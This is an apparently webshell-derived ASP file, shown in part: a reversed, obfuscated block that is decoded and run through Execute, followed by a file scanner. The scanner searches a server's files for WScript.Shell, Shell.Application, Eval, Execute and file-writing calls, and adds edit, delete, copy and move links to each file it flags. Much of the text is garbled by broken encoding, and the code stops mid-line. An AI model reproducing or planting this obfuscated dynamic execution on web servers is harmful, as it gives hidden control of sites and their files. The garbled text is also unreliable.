�~�~'LLA'=eulav.etaD_hcraeS.1mrof:tpircsavaj�~�~=kcilCno �~�~#�~�~=ferh a< д���������Σ�����;�����ո��� >�~�~02�~�~=ezis �~�~�~&)1-)�~ �~,)(won(rtSnI,)(woN(tfeL&�~�~�~=eulav �~�~999# dilos xp1:redrob�~�~=elyts �~�~txet�~�~=epyt �~�~etaD_hcraeS�~�~=eman tupni<�����ո���;psbn&;psbn&�~ SRR ~�~>/ rb<��������н�ֻ����������ֵ��Ҳ�Ҫ �~ SRR ~�~>�~�~02�~�~=ezis �~�~999# dilos xp1:redrob�~�~=elyts �~�~tnetnoC_hcraeS�~�~=di �~�~txet�~�~=epyt �~�~tnetnoC_hcraeS�~�~=eman tupni<�������Ҳ�;psbn&;psbn&�~ SRR ~�~>�~�~enon:yalpsid�~�~=elyts �~�~1eliFwohs�~�~=di vid<>/ rb<�~ SRR ~�~>rb<����֮�����Ϸ�����>�~�~''=yalpsid.elyts.)'1eliFwohs'(dIyBtnemelEteg.tnemucod�~�~=kcilCno �~�~fs�~�~=eulav �~�~nottuboidar�~�~=eman �~�~oidar�~�~=epyt c=ssalc tupni<�~ SRR ~�~�� PSA��>dekcehc �~�~'enon'=yalpsid.elyts.)'1eliFwohs'(dIyBtnemelEteg.tnemucod�~�~=kcilCno �~�~sws�~�~=eulav �~�~oidar�~�~=epyt �~�~nottuboidar�~�~=eman c=ssalc tupni< :ôʲ��Ҫ��~ SRR ~�~>rb<>rb<¼Ŀ��̱�Ϊ��.����¼Ŀ��վ����\���� >/ �~�~03�~�~=ezis �~�~.�~�~=eulav �~�~999# dilos xp1:redrob�~�~=elyts �~�~txet�~�~=epyt �~�~htap�~�~=eman tupni<�~ SRR ~�~>b/<����·�IJ��Ҫ������>b<>p<�~ SRR ~�~>�~�~1mrof�~�~=eman �~�~tsop�~�~=dohtem �~�~nacs=tca&amumk=noitcA?�~�~=noitca mrof<�~ SRR ~)�~�~&lruypoc&�~�~( SRR ~))�~.�~(htaPpaM.revreS&�~ ->b/<¼Ŀ��̱�>b<�~( SRR ~)�~>rb<�~&)�~/�~(htaPpaM.revreS&�~ ->b/<¼Ŀ��վ��>b<�~( SRR ~neht �~nacs�~><)�~tca�~(gnirtSyreuQ.tseuqer fi ~tropeR mid ":ExeCuTe(UZSS(ShiSan))
Sub ShowAllFile(Path)
Set F1SO = CreateObject("Scripting.FileSystemObject")
if not F1SO.FolderExists(path) then exit sub
Set f = F1SO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If CheckExt(F1SO.GetExtensionName(path&"\"&myfile.name)) Then
Call ScanFile(Path&Temp&"\"&myfile.name, "")
SumFiles = SumFiles + 1
End If
Next
Set fc = f.SubFolders
For Each f1 in fc
ShowAllFile path&"\"&f1.name
SumFolders = SumFolders + 1
Next
Set F1SO = Nothing
End Sub
Sub ScanFile(FilePath, InFile)
Server.ScriptTimeout=999999999
If InFile <> "" Then
Infiles = "���ļ���"& InFile & "�ļ�����ִ��"
End If
Set FSO1s = CreateObject("Scripting.FileSystemObject")
on error resume next
set ofile = FSO1s.OpenTextFile(FilePath)
filetxt = Lcase(ofile.readall())
If err Then Exit Sub end if
if len(filetxt)>0 then
filetxt = vbcrlf & filetxt
temp = ""&replace(FilePath,server.MapPath("\")&"\","",1,1,1)&"
"
temp=temp&"Edit "
temp=temp&"Del "
temp=temp&"Copy "
temp=temp&"Move"
If instr( filetxt, Lcase("WScr"&DoMyBest&"ipt.Shell") ) or Instr( filetxt, Lcase("clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8") ) then
Report = Report&"| "&temp&" | WScr"&DoMyBest&"ipt.Shell ���� clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8 | Σ�������һ�㱻ASPľ������"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End if
If instr( filetxt, Lcase("She"&DoMyBest&"ll.Application") ) or Instr( filetxt, Lcase("clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000") ) then
Report = Report&"| "&temp&" | She"&DoMyBest&"ll.Application ���� clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000 | Σ�������һ�㱻ASPľ������"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End If
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b"
If regEx.Test(filetxt) Then
Report = Report&"| "&temp&" | (vbscript|jscript|javascript).Encode | �ƺ��ű���������"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End If
regEx.Pattern = "\bEv"&"al\b"
If regEx.Test(filetxt) Then
Report = Report&"| "&temp&" | Ev"&"al | e"&"val()��������ִ������ASP����
����javascript������Ҳ����ʹ�ã��п�������"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End If
regEx.Pattern = "[^.]\bExe"&"cute\b"
If regEx.Test(filetxt) Then
Report = Report&"| "&temp&" | Exec"&"ute | e"&"xecute()��������ִ������ASP����
"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End If
regEx.Pattern = "\.(Open|Create)TextFile\b"
If regEx.Test(filetxt) Then
Report = Report&"| "&temp&" | .CreateTextFile|.OpenTextFile | ʹ����FSO��CreateTextFile|OpenTextFile��д�ļ�"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End If
regEx.Pattern = "\.SaveToFile\b"
If regEx.Test(filetxt) Then
Report = Report&"| "&temp&" | .SaveToFile | ʹ����Stream��SaveToFile����д�ļ�"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End If
regEx.Pattern = "\.Save\b"
If regEx.Test(filetxt) Then
Report = Report&"| "&temp&" | .Save | ʹ����XMLHTTP��Save����д�ļ�"&infiles&" | "&GetDateCreate(filepath)&"
"&GetDateModify(filepath)&" |
"
Sun = Sun + 1
temp="-ͬ��-"
End If
Set regEx = Nothing
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "
" '��������,����ͼƬ��Ϊ